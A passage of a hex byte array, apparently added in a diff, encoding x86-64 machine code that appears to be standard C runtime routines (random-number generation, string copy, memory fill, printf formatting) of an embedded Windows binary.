0x0c, 0x48, 0x83, + 0xc4, 0x20, 0x5b, 0x48, 0xff, 0x25, 0x66, 0xeb, 0x00, 0x00, 0x48, 0x83, + 0xc4, 0x20, 0x5b, 0x48, 0xff, 0x25, 0xda, 0xe9, 0x00, 0x00, 0xcc, 0xcc, + 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, + 0xda, 0x4c, 0x8d, 0x0d, 0xcc, 0xfa, 0x00, 0x00, 0x8b, 0xf9, 0x48, 0x8d, + 0x15, 0xc3, 0xfa, 0x00, 0x00, 0xb9, 0x03, 0x00, 0x00, 0x00, 0x4c, 0x8d, + 0x05, 0xaf, 0xfa, 0x00, 0x00, 0xe8, 0xaa, 0xfd, 0xff, 0xff, 0x48, 0x8b, + 0xd3, 0x8b, 0xcf, 0x48, 0x85, 0xc0, 0x74, 0x08, 0xff, 0x15, 0x1a, 0xeb, + 0x00, 0x00, 0xeb, 0x06, 0xff, 0x15, 0x9a, 0xe9, 0x00, 0x00, 0x48, 0x8b, + 0x5c, 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, + 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, + 0x83, 0xec, 0x20, 0x41, 0x8b, 0xf0, 0x4c, 0x8d, 0x0d, 0x8b, 0xfa, 0x00, + 0x00, 0x8b, 0xda, 0x4c, 0x8d, 0x05, 0x7a, 0xfa, 0x00, 0x00, 0x48, 0x8b, + 0xf9, 0x48, 0x8d, 0x15, 0x78, 0xfa, 0x00, 0x00, 0xb9, 0x04, 0x00, 0x00, + 0x00, 0xe8, 0x4e, 0xfd, 0xff, 0xff, 0x8b, 0xd3, 0x48, 0x8b, 0xcf, 0x48, + 0x85, 0xc0, 0x74, 0x0b, 0x44, 0x8b, 0xc6, 0xff, 0x15, 0xbb, 0xea, 0x00, + 0x00, 0xeb, 0x06, 0xff, 0x15, 0x23, 0xe9, 0x00, 0x00, 0x48, 0x8b, 0x5c, + 0x24, 0x30, 0x48, 0x8b, 0x74, 0x24, 0x38, 0x48, 0x83, 0xc4, 0x20, 0x5f, + 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, + 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x66, 0x66, 0x0f, 0x1f, 0x84, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x48, 0x83, 0xec, 0x28, 0x48, 0x89, 0x4c, 0x24, + 0x30, 0x48, 0x89, 0x54, 0x24, 0x38, 0x44, 0x89, 0x44, 0x24, 0x40, 0x48, + 0x8b, 0x12, 0x48, 0x8b, 0xc1, 0xe8, 0xb2, 0xf3, 0xff, 0xff, 0xff, 0xd0, + 0xe8, 0xdb, 0xf3, 0xff, 0xff, 0x48, 0x8b, 0xc8, 0x48, 0x8b, 0x54, 0x24, + 0x38, 0x48, 0x8b, 0x12, 0x41, 0xb8, 0x02, 0x00, 0x00, 0x00, 0xe8, 0x95, + 0xf3, 0xff, 0xff, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, + 0xcc, 0xcc, 0x66, 0x66, 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x48, 0x83, 0xec, 0x28, 0x48, 0x89, 0x4c, 0x24, 0x30, 0x48, 0x89, 0x54, + 0x24, 0x38, 0x44, 0x89, 0x44, 0x24, 0x40, 0x48, 0x8b, 0x12, 0x48, 0x8b, + 0xc1, 0xe8, 0x62, 0xf3, 0xff, 0xff, 0xff, 0xd0, 0xe8, 0x8b, 0xf3, 0xff, + 0xff, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, + 0x48, 0x83, 0xec, 0x28, 0x48, 0x89, 0x4c, 0x24, 0x30, 0x48, 0x89, 0x54, + 0x24, 0x38, 0x48, 0x8b, 0x54, 0x24, 0x38, 0x48, 0x8b, 0x12, 0x41, 0xb8, + 0x02, 0x00, 0x00, 0x00, 0xe8, 0x2f, 0xf3, 0xff, 0xff, 0x48, 0x83, 0xc4, + 0x28, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x0f, 0x1f, 0x40, 0x00, + 0x48, 0x83, 0xec, 0x28, 0x48, 0x89, 0x4c, 0x24, 0x30, 0x48, 0x89, 0x54, + 0x24, 0x38, 0x4c, 0x89, 0x44, 0x24, 0x40, 0x44, 0x89, 0x4c, 0x24, 0x48, + 0x45, 0x8b, 0xc1, 0x48, 0x8b, 0xc1, 0xe8, 0xfd, 0xf2, 0xff, 0xff, 0x48, + 0x8b, 0x4c, 0x24, 0x40, 0xff, 0xd0, 0xe8, 0x21, 0xf3, 0xff, 0xff, 0x48, + 0x8b, 0xc8, 0x48, 0x8b, 0x54, 0x24, 0x38, 0x41, 0xb8, 0x02, 0x00, 0x00, + 0x00, 0xe8, 0xde, 0xf2, 0xff, 0xff, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, + 0x48, 0x83, 0xec, 0x28, 0xe8, 0x4f, 0x2e, 0x00, 0x00, 0x69, 0x48, 0x28, + 0xfd, 0x43, 0x03, 0x00, 0x81, 0xc1, 0xc3, 0x9e, 0x26, 0x00, 0x89, 0x48, + 0x28, 0xc1, 0xe9, 0x10, 0x81, 0xe1, 0xff, 0x7f, 0x00, 0x00, 0x8b, 0xc1, + 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, + 0xec, 0x20, 0x8b, 0xd9, 0xe8, 0x1f, 0x2e, 0x00, 0x00, 0x89, 0x58, 0x28, + 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, + 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x66, 0x66, 0x0f, 0x1f, 0x84, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xd9, 0x4d, 0x0b, 0xc0, 0x74, 0x24, + 0x48, 0x2b, 0xca, 0xf6, 0xc2, 0x07, 0x74, 0x28, 0x8a, 0x02, 0x84, 0xc0, + 0x88, 0x04, 0x0a, 0x0f, 0x84, 0xe3, 0x00, 0x00, 0x00, 0x48, 0xff, 0xc2, + 0x49, 0xff, 0xc8, 0x74, 0x07, 0xf6, 0xc2, 0x07, 0x75, 0xe6, 0xeb, 0x0c, + 0x49, 0x8b, 0xc3, 0xc3, 0x48, 0x89, 0x04, 0x0a, 0x48, 0x83, 0xc2, 0x08, + 0x48, 0x8b, 0x02, 0x49, 0x83, 0xe8, 0x08, 0x76, 0x26, 0x49, 0xb9, 0xff, + 0xfe, 0xfe, 0xfe, 0xfe, 0xfe, 0xfe, 0x7e, 0x4c, 0x03, 0xc8, 0x4c, 0x8b, + 0xd0, 0x49, 0x83, 0xf2, 0xff, 0x4d, 0x33, 0xd1, 0x49, 0xb9, 0x00, 0x01, + 0x01, 0x01, 0x01, 0x01, 0x01, 0x81, 0x4d, 0x85, 0xd1, 0x74, 0xc9, 0x49, + 0x83, 0xc0, 0x08, 0x0f, 0x84, 0x8b, 0x00, 0x00, 0x00, 0x84, 0xc0, 0x88, + 0x04, 0x0a, 0x0f, 0x84, 0x84, 0x00, 0x00, 0x00, 0x48, 0xff, 0xc2, 0x49, + 0xff, 0xc8, 0x74, 0x78, 0x84, 0xe4, 0x88, 0x24, 0x0a, 0x74, 0x75, 0x48, + 0xff, 0xc2, 0x49, 0xff, 0xc8, 0x74, 0x69, 0x48, 0xc1, 0xe8, 0x10, 0x84, + 0xc0, 0x88, 0x04, 0x0a, 0x74, 0x62, 0x48, 0xff, 0xc2, 0x49, 0xff, 0xc8, + 0x74, 0x56, 0x84, 0xe4, 0x88, 0x24, 0x0a, 0x74, 0x53, 0x48, 0xff, 0xc2, + 0x49, 0xff, 0xc8, 0x74, 0x47, 0x48, 0xc1, 0xe8, 0x10, 0x84, 0xc0, 0x88, + 0x04, 0x0a, 0x74, 0x40, 0x48, 0xff, 0xc2, 0x49, 0xff, 0xc8, 0x74, 0x34, + 0x84, 0xe4, 0x88, 0x24, 0x0a, 0x74, 0x31, 0x48, 0xff, 0xc2, 0x49, 0xff, + 0xc8, 0x74, 0x25, 0xc1, 0xe8, 0x10, 0x84, 0xc0, 0x88, 0x04, 0x0a, 0x74, + 0x1f, 0x48, 0xff, 0xc2, 0x49, 0xff, 0xc8, 0x74, 0x13, 0x84, 0xe4, 0x88, + 0x24, 0x0a, 0x74, 0x10, 0x48, 0xff, 0xc2, 0x49, 0xff, 0xc8, 0x0f, 0x85, + 0x3c, 0xff, 0xff, 0xff, 0x49, 0x8b, 0xc3, 0xc3, 0x48, 0x03, 0xca, 0x48, + 0x33, 0xd2, 0x49, 0x83, 0xf8, 0x10, 0x72, 0x45, 0xf6, 0xc1, 0x07, 0x74, + 0x0a, 0x48, 0xff, 0xc1, 0x88, 0x11, 0x49, 0xff, 0xc8, 0xeb, 0xf1, 0x49, + 0x83, 0xe8, 0x20, 0x72, 0x19, 0x48, 0x89, 0x11, 0x48, 0x89, 0x51, 0x08, + 0x48, 0x89, 0x51, 0x10, 0x48, 0x89, 0x51, 0x18, 0x48, 0x83, 0xc1, 0x20, + 0x49, 0x83, 0xe8, 0x20, 0x73, 0xe7, 0x49, 0x83, 0xc0, 0x20, 0x49, 0x83, + 0xe8, 0x08, 0x72, 0x09, 0x48, 0x89, 0x11, 0x48, 0x83, 0xc1, 0x08, 0xeb, + 0xf1, 0x49, 0x83, 0xc0, 0x08, 0x49, 0x83, 0xe8, 0x01, 0x72, 0x07, 0x88, + 0x11, 0x48, 0xff, 0xc1, 0xeb, 0xf3, 0x49, 0x8b, 0xc3, 0xc3, 0xcc, 0xcc, + 0x40, 0x55, 0x53, 0x56, 0x57, 0x41, 0x54, 0x41, 0x56, 0x41, 0x57, 0x48, + 0x8d, 0xac, 0x24, 0x10, 0xfc, 0xff, 0xff, 0x48, 0x81, 0xec, 0xf0, 0x04, + 0x00, 0x00, 0x48, 0x8b, 0x05, 0xb3, 0x94, 0x01, 0x00, 0x48, 0x33, 0xc4, + 0x48, 0x89, 0x85, 0xe0, 0x03, 0x00, 0x00, 0x45, 0x33, 0xe4, 0x49, 0x8b, + 0xd9, 0x49, 0x8b, 0xf8, 0x48, 0x8b, 0xf2, 0x4c, 0x8b, 0xf9, 0x4d, 0x85, + 0xc9, 0x75, 0x18, 0xe8, 0x34, 0x32, 0x00, 0x00, 0xc7, 0x00, 0x16, 0x00, + 0x00, 0x00, 0xe8, 0x09, 0x31, 0x00, 0x00, 0x83, 0xc8, 0xff, 0xe9, 0x33, + 0x01, 0x00, 0x00, 0x48, 0x85, 0xff, 0x74, 0x05, 0x48, 0x85, 0xf6, 0x74, + 0xde, 0x48, 0x8b, 0x95, 0x50, 0x04, 0x00, 0x00, 0x48, 0x8d, 0x4c, 0x24, + 0x40, 0xe8, 0x92, 0x03, 0x00, 0x00, 0x4d, 0x8b, 0xf7, 0x44, 0x89, 0x64, + 0x24, 0x39, 0x66, 0x44, 0x89, 0x64, 0x24, 0x3d, 0x44, 0x88, 0x64, 0x24, + 0x3f, 0x48, 0x89, 0x74, 0x24, 0x20, 0x48, 0x89, 0x7c, 0x24, 0x28, 0x4c, + 0x89, 0x64, 0x24, 0x30, 0x41, 0x83, 0xe6, 0x02, 0x75, 0x0a, 0x44, 0x88, + 0x64, 0x24, 0x38, 0x48, 0x85, 0xf6, 0x75, 0x05, 0xc6, 0x44, 0x24, 0x38, + 0x01, 0x48, 0x8d, 0x44, 0x24, 0x20, 0x4c, 0x89, 0x64, 0x24, 0x70, 0x48, + 0x89, 0x85, 0xc8, 0x03, 0x00, 0x00, 0x48, 0x8d, 0x4c, 0x24, 0x60, 0x48, + 0x8d, 0x44, 0x24, 0x48, 0x4c, 0x89, 0x65, 0x88, 0x48, 0x89, 0x44, 0x24, + 0x68, 0x48, 0x8b, 0x85, 0x58, 0x04, 0x00, 0x00, 0x48, 0x89, 0x45, 0x80, + 0x4c, 0x89, 0x65, 0x90, 0x44, 0x89, 0x65, 0x98, 0x66, 0x44, 0x89, 0x65, + 0xa0, 0x44, 0x89, 0x65, 0xb0, 0x44, 0x88, 0x65, 0xb4, 0x4c, 0x89, 0xa5, + 0xb8, 0x03, 0x00, 0x00, 0x4c, 0x89, 0xa5, 0xc0, 0x03, 0x00, 0x00, 0x4c, + 0x89, 0x7c, 0x24, 0x60, 0x48, 0x89, 0x5c, 0x24, 0x78, 0x44, 0x89, 0xa5, + 0xd0, 0x03, 0x00, 0x00, 0xe8, 0x57, 0x05, 0x00, 0x00, 0x48, 0x63, 0xd8, + 0x48, 0x85, 0xf6, 0x74, 0x49, 0x41, 0xf6, 0xc7, 0x01, 0x74, 0x22, 0x48, + 0x85, 0xff, 0x75, 0x08, 0x85, 0xc0, 0x0f, 0x85, 0x84, 0x00, 0x00, 0x00, + 0x48, 0x8b, 0x44, 0x24, 0x30, 0x48, 0x3b, 0xc7, 0x75, 0x28, 0x85, 0xdb, + 0x78, 0x28, 0x48, 0x3b, 0xdf, 0x76, 0x23, 0xeb, 0x6f, 0x4d, 0x85, 0xf6, + 0x74, 0x65, 0x48, 0x85, 0xff, 0x74, 0x17, 0x85, 0xc0, 0x79, 0x05, 0x44, + 0x88, 0x26, 0xeb, 0x0e, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x48, 0x3b, 0xc7, + 0x74, 0x66, 0x44, 0x88, 0x24, 0x06, 0x48, 0x8b, 0x8d, 0xc0, 0x03, 0x00, + 0x00, 0xe8, 0x2a, 0x31, 0x00, 0x00, 0x4c, 0x89, 0xa5, 0xc0, 0x03, 0x00, + 0x00, 0x44, 0x38, 0x64, 0x24, 0x58, 0x74, 0x0c, 0x48, 0x8b, 0x4c, 0x24, + 0x40, 0x83, 0xa1, 0xa8, 0x03, 0x00, 0x00, 0xfd, 0x8b, 0xc3, 0x48, 0x8b, + 0x8d, 0xe0, 0x03, 0x00, 0x00, 0x48, 0x33, 0xcc, 0xe8, 0xb3, 0xdc, 0xff, + 0xff, 0x48, 0x81, 0xc4, 0xf0, 0x04, 0x00, 0x00, 0x41, 0x5f, 0x41, 0x5e, + 0x41, 0x5c, 0x5f, 0x5e, 0x5b, 0x5d, 0xc3, 0x48, 0x85, 0xff, 0x75, 0x05, + 0x83, 0xcb, 0xff, 0xeb, 0xad, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x48, 0x3b, + 0xc7, 0x75, 0x9f, 0xbb, 0xfe, 0xff, 0xff, 0xff, 0x44, 0x88, 0x64, 0x37, + 0xff, 0xeb, 0x97, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, + 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x20, + 0x48, 0xb8, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f, 0x48, 0x8b, + 0xf9, 0x48, 0x3b, 0xd0, 0x76, 0x0f, 0xe8, 0x81, 0x30, 0x00, 0x00, 0xc7, + 0x00, 0x0c, 0x00, 0x00, 0x00, 0x32, 0xc0, 0xeb, 0x5c, 0x33, 0xf6, 0x48, + 0x8d, 0x2c, 0x12, 0x48, 0x39, 0xb1, 0x08, 0x04, 0x00, 0x00, 0x75, 0x09, + 0x48, 0x81, 0xfd, 0x00, 0x04, 0x00, 0x00, 0x76, 0x09, 0x48, 0x3b, 0xa9, + 0x00, 0x04, 0x00, 0x00, 0x77, 0x04, 0xb0, 0x01, 0xeb, 0x37, 0x48, 0x8b, + 0xcd, 0xe8, 0xaa, 0x30, 0x00, 0x00, 0x48, 0x8b, 0xd8, 0x48, 0x85, 0xc0, + 0x74, 0x1d, 0x48, 0x8b, 0x8f, 0x08, 0x04, 0x00, 0x00, 0xe8, 0x56, 0x30, + 0x00, 0x00, 0x48, 0x89, 0x9f, 0x08, 0x04, 0x00, 0x00, 0x40, 0xb6, 0x01, + 0x48, 0x89, 0xaf, 0x00, 0x04, 0x00, 0x00, 0x33, 0xc9, 0xe8, 0x3e, 0x30, + 0x00, 0x00, 0x40, 0x8a, 0xc6, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x8b, + 0x6c, 0x24, 0x38, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x48, 0x83, 0xc4, 0x20, + 0x5f, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x4c, 0x8d, 0x51, + 0x58, 0x41, 0x8b, 0xd8, 0x49, 0x8b, 0x82, 0x08, 0x04, 0x00, 0x00, 0x44, + 0x8b, 0xda, 0x48, 0x85, 0xc0, 0x75, 0x07, 0xb8, 0x00, 0x02, 0x00, 0x00, + 0xeb, 0x0d, 0x4c, 0x8b, 0xd0, 0x48, 0x8b, 0x81, 0x58, 0x04, 0x00, 0x00, + 0x48, 0xd1, 0xe8, 0x4d, 0x8d, 0x42, 0xff, 0x4c, 0x03, 0xc0, 0x4c, 0x89, + 0x41, 0x48, 0x8b, 0x41, 0x38, 0x85, 0xc0, 0x7f, 0x05, 0x45, 0x85, 0xdb, + 0x74, 0x2f, 0xff, 0xc8, 0x33, 0xd2, 0x89, 0x41, 0x38, 0x41, 0x8b, 0xc3, + 0xf7, 0xf3, 0x80, 0xc2, 0x30, 0x44, 0x8b, 0xd8, 0x80, 0xfa, 0x39, 0x7e, + 0x0c, 0x41, 0x8a, 0xc1, 0x34, 0x01, 0xc0, 0xe0, 0x05, 0x04, 0x07, 0x02, + 0xd0, 0x48, 0x8b, 0x41, 0x48, 0x88, 0x10, 0x48, 0xff, 0x49, 0x48, 0xeb, + 0xc5, 0x44, 0x2b, 0x41, 0x48, 0x48, 0x8b, 0x5c, 0x24, 0x08, 0x44, 0x89, + 0x41, 0x50, 0x48, 0xff, 0x41, 0x48, 0xc3, 0xcc, 0x48, 0x89, 0x5c, 0x24, + 0x08, 0x48, 0x8b, 0x81, 0x60, 0x04, 0x00, 0x00, 0x4c, 0x8b, 0xd1, 0x48, + 0x83, 0xc1, 0x58, 0x41, 0x8b, 0xd8, 0x4c, 0x8b, 0xda, 0x48, 0x85, 0xc0, + 0x75, 0x07, 0xb8, 0x00, 0x02, 0x00, 0x00, 0xeb, 0x0d, 0x48, 0x8b, 0xc8, + 0x49, 0x8b, 0x82, 0x58, 0x04, 0x00, 0x00, 0x48, 0xd1, 0xe8, 0x4c, 0x8d, + 0x41, 0xff, 0x4c, 0x03, 0xc0, 0x4d, 0x89, 0x42, 0x48, 0x41, 0x8b, 0x42, + 0x38, 0x85, 0xc0, 0x7f, 0x05, 0x4d, 0x85, 0xdb, 0x74, 0x31, 0xff, 0xc8, + 0x33, 0xd2, 0x41, 0x89, 0x42, 0x38, 0x49, 0x8b, 0xc3, 0x48, 0xf7, 0xf3, + 0x80, 0xc2, 0x30, 0x4c, 0x8b, 0xd8, 0x80, 0xfa, 0x39, 0x7e, 0x0c, 0x41, + 0x8a, 0xc1, 0x34, 0x01, 0xc0, 0xe0, 0x05, 0x04, 0x07, 0x02, 0xd0, 0x49, + 0x8b, 0x42, 0x48, 0x88, 0x10, 0x49, 0xff, 0x4a, 0x48, 0xeb, 0xc2, 0x45, + 0x2b, 0x42, 0x48, 0x48, 0x8b, 0x5c, 0x24, 0x08, 0x45, 0x89, 0x42, 0x50, + 0x49, 0xff, 0x42, 0x48, 0xc3, 0xcc, 0xcc, 0xcc, 0x45, 0x85, 0xc0, 0x7e, + 0x6f, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x7c, 0x24, 0x10, 0x45, + 0x8b, 0x11, 0x40, 0x8a, 0xfa, 0x48, 0x8b, 0xd9, 0x45, 0x33, 0xdb, 0x48, + 0x8b, 0x13, 0x48, 0x8b, 0x42, 0x08, 0x48, 0x39, 0x42, 0x10, 0x75, 0x14, + 0x80, 0x7a, 0x18, 0x00, 0x74, 0x05, 0x41, 0xff, 0xc2, 0xeb, 0x04, 0x41, + 0x83, 0xca, 0xff, 0x45, 0x89, 0x11, 0xeb, 0x20, 0x41, 0x8d, 0x42, 0x01, + 0x41, 0x89, 0x01, 0x48, 0x8b, 0x03, 0x48, 0xff, 0x40, 0x10, 0x48, 0x8b, + 0x03, 0x48, 0x8b, 0x08, 0x40, 0x88, 0x39, 0x48, 0x8b, 0x03, 0x48, 0xff, + 0x00, 0x45, 0x8b, 0x11, 0x41, 0x83, 0xfa, 0xff, 0x74, 0x08, 0x41, 0xff, + 0xc3, 0x45, 0x3b, 0xd8, 0x7c, 0xb1, 0x48, 0x8b, 0x5c, 0x24, 0x08, 0x48, + 0x8b, 0x7c, 0x24, 0x10, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, + 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xec, 0x20, 0xc6, + 0x41, 0x18, 0x00, 0x48, 0x8b, 0xf9, 0x48, 0x8d, 0x71, 0x08, 0x48, 0x85, + 0xd2, 0x74, 0x05, 0x0f, 0x10, 0x02, 0xeb, 0x10, 0x83, 0x3d, 0xdd, 0xa4, + 0x01, 0x00, 0x00, 0x75, 0x0d, 0x0f, 0x10, 0x05, 0x5c, 0x93, 0x01, 0x00, + 0xf3, 0x0f, 0x7f, 0x06, 0xeb, 0x4e, 0xe8, 0x59, 0x28, 0x00, 0x00, 0x48, + 0x89, 0x07, 0x48, 0x8b, 0xd6, 0x48, 0x8b, 0x88, 0x90, 0x00, 0x00, 0x00, + 0x48, 0x89, 0x0e, 0x48, 0x8b, 0x88, 0x88, 0x00, 0x00, 0x00, 0x48, 0x89, + 0x4f, 0x10, 0x48, 0x8b, 0xc8, 0xe8, 0x4a, 0x35, 0x00, 0x00, 0x48, 0x8b, + 0x0f, 0x48, 0x8d, 0x57, 0x10, 0xe8, 0x72, 0x35, 0x00, 0x00, 0x48, 0x8b, + 0x0f, 0x8b, 0x81, 0xa8, 0x03, 0x00, 0x00, 0xa8, 0x02, 0x75, 0x0d, 0x83, + 0xc8, 0x02, 0x89, 0x81, 0xa8, 0x03, 0x00, 0x00, 0xc6, 0x47, 0x18, 0x01, + 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x8b, 0xc7, 0x48, 0x8b, 0x74, 0x24, + 0x38, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, + 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x8b, 0x02, 0x48, + 0x8b, 0x90, 0xf8, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x02, 0x44, 0x0f, 0xb6, + 0x08, 0x0f, 0xb6, 0x01, 0x84, 0xc0, 0x74, 0x1e, 0x0f, 0xb6, 0xd0, 0x0f, + 0x1f, 0x44, 0x00, 0x00, 0x0f, 0xb6, 0xc2, 0x41, 0x3a, 0xd1, 0x74, 0x0e, + 0x0f, 0xb6, 0x41, 0x01, 0x48, 0xff, 0xc1, 0x0f, 0xb6, 0xd0, 0x84, 0xc0, + 0x75, 0xea, 0x48, 0xff, 0xc1, 0x84, 0xc0, 0x74, 0x55, 0x0f, 0xb6, 0x01, + 0x84, 0xc0, 0x74, 0x11, 0x2c, 0x45, 0xa8, 0xdf, 0x74, 0x0b, 0x0f, 0xb6, + 0x41, 0x01, 0x48, 0xff, 0xc1, 0x84, 0xc0, 0x75, 0xef, 0x0f, 0xb6, 0x41, + 0xff, 0x4c, 0x8b, 0xc1, 0x48, 0xff, 0xc9, 0x3c, 0x30, 0x75, 0x0b, 0x0f, + 0xb6, 0x41, 0xff, 0x48, 0xff, 0xc9, 0x3c, 0x30, 0x74, 0xf5, 0x41, 0x3a, + 0xc1, 0x48, 0x8d, 0x51, 0xff, 0x48, 0x0f, 0x45, 0xd1, 0x0f, 0x1f, 0x80, + 0x00, 0x00, 0x00, 0x00, 0x41, 0x0f, 0xb6, 0x00, 0x48, 0x8d, 0x52, 0x01, + 0x88, 0x02, 0x4d, 0x8d, 0x40, 0x01, 0x84, 0xc0, 0x75, 0xee, 0xc3, 0xcc, + 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, + 0x4c, 0x8b, 0x0a, 0x44, 0x0f, 0xb6, 0x01, 0x49, 0x8b, 0x91, 0x10, 0x01, + 0x00, 0x00, 0x41, 0x80, 0x3c, 0x10, 0x65, 0x74, 0x1a, 0x49, 0x8b, 0x01, + 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x44, 0x0f, 0xb6, 0x41, + 0x01, 0x48, 0xff, 0xc1, 0x42, 0xf6, 0x04, 0x40, 0x04, 0x75, 0xf1, 0x41, + 0x0f, 0xb6, 0xc0, 0x80, 0x3c, 0x10, 0x78, 0x75, 0x05, 0x44, 0x0f, 0xb6, + 0x41, 0x02, 0x49, 0x8b, 0x81, 0xf8, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x51, + 0x02, 0x48, 0x0f, 0x45, 0xd1, 0x48, 0x8b, 0x08, 0x0f, 0xb6, 0x01, 0x88, + 0x02, 0x48, 0x8d, 0x42, 0x01, 0x0f, 0x1f, 0x80, 0x00, 0x00, 0x00, 0x00, + 0x0f, 0xb6, 0x08, 0x41, 0x0f, 0xb6, 0xd0, 0x44, 0x88, 0x00, 0x48, 0x8d, + 0x40, 0x01, 0x44, 0x0f, 0xb6, 0xc1, 0x84, 0xd2, 0x75, 0xea, 0xc3, 0xcc, + 0x48, 0x89, 0x5c, 0x24, 0x10, 0x48, 0x89, 0x6c, 0x24, 0x18, 0x56, 0x57, + 0x41, 0x56, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0x59, 0x10, 0x4c, 0x8b, + 0xf2, 0x48, 0x8b, 0xf9, 0x48, 0x85, 0xdb, 0x75, 0x0c, 0xe8, 0x8e, 0x2c, + 0x00, 0x00, 0x48, 0x8b, 0xd8, 0x48, 0x89, 0x47, 0x10, 0x8b, 0x2b, 0x48, + 0x8d, 0x54, 0x24, 0x40, 0x83, 0x23, 0x00, 0xbe, 0x01, 0x00, 0x00, 0x00, + 0x48, 0x8b, 0x4f, 0x18, 0x48, 0x83, 0x64, 0x24, 0x40, 0x00, 0x48, 0x2b, + 0xce, 0x44, 0x8d, 0x46, 0x09, 0xe8, 0x22, 0x2d, 0x00, 0x00, 0x41, 0x89, + 0x06, 0x48, 0x8b, 0x47, 0x10, 0x48, 0x85, 0xc0, 0x75, 0x09, 0xe8, 0x51, + 0x2c, 0x00, 0x00, 0x48, 0x89, 0x47, 0x10, 0x83, 0x38, 0x22, 0x74, 0x11, + 0x48, 0x8b, 0x44, 0x24, 0x40, 0x48, 0x3b, 0x47, 0x18, 0x72, 0x06, 0x48, + 0x89, 0x47, 0x18, 0xeb, 0x03, 0x40, 0x32, 0xf6, 0x83, 0x3b, 0x00, 0x75, + 0x06, 0x85, 0xed, 0x74, 0x02, 0x89, 0x2b, 0x48, 0x8b, 0x5c, 0x24, 0x48, + 0x40, 0x8a, 0xc6, 0x48, 0x8b, 0x6c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x20, + 0x41, 0x5e, 0x5f, 0x5e, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, + 0x08, 0x48, 0x89, 0x7c, 0x24, 0x10, 0x41, 0x56, 0x48, 0x83, 0xec, 0x20, + 0x83, 0xcf, 0xff, 0x48, 0x8b, 0xd9, 0x48, 0x83, 0xb9, 0x68, 0x04, 0x00, + 0x00, 0x00, 0x0f, 0x84, 0xcf, 0x01, 0x00, 0x00, 0x48, 0x83, 0x79, 0x18, + 0x00, 0x75, 0x17, 0xe8, 0xe0, 0x2b, 0x00, 0x00, 0xc7, 0x00, 0x16, 0x00, + 0x00, 0x00, 0xe8, 0xb5, 0x2a, 0x00, 0x00, 0x0b, 0xc7, 0xe9, 0xa0, 0x01, + 0x00, 0x00, 0xff, 0x81, 0x70, 0x04, 0x00, 0x00, 0x83, 0xb9, 0x70, 0x04, + 0x00, 0x00, 0x02, 0x0f, 0x84, 0x8a, 0x01, 0x00, 0x00, 0x4c, 0x8d, 0x35, + 0xd8, 0xf0, 0x00, 0x00, 0x83, 0x63, 0x50, 0x00, 0x83, 0x63, 0x2c, 0x00, + 0xe9, 0x4e, 0x01, 0x00, 0x00, 0x48, 0xff, 0x43, 0x18, 0x83, 0x7b, 0x28, + 0x00, 0x0f, 0x8c, 0x55, 0x01, 0x00, 0x00, 0x48, 0x0f, 0xbe, 0x53, 0x41, + 0x8d, 0x42, 0xe0, 0x3c, 0x5a, 0x77, 0x0e, 0x48, 0x8d, 0x42, 0xe0, 0x83, + 0xe0, 0x7f, 0x41, 0x8b, 0x4c, 0xc6, 0x04, 0xeb, 0x02, 0x33, 0xc9, 0x8b, + 0x43, 0x2c, 0x8d, 0x0c, 0xc8, 0x83, 0xe1, 0x7f, 0x41, 0x8b, 0x04, 0xce, + 0x89, 0x43, 0x2c, 0x83, 0xf8, 0x08, 0x0f, 0x84, 0x47, 0x01, 0x00, 0x00, + 0x85, 0xc0, 0x0f, 0x84, 0xf7, 0x00, 0x00, 0x00, 0x83, 0xe8, 0x01, 0x0f, + 0x84, 0xd5, 0x00, 0x00, 0x00, 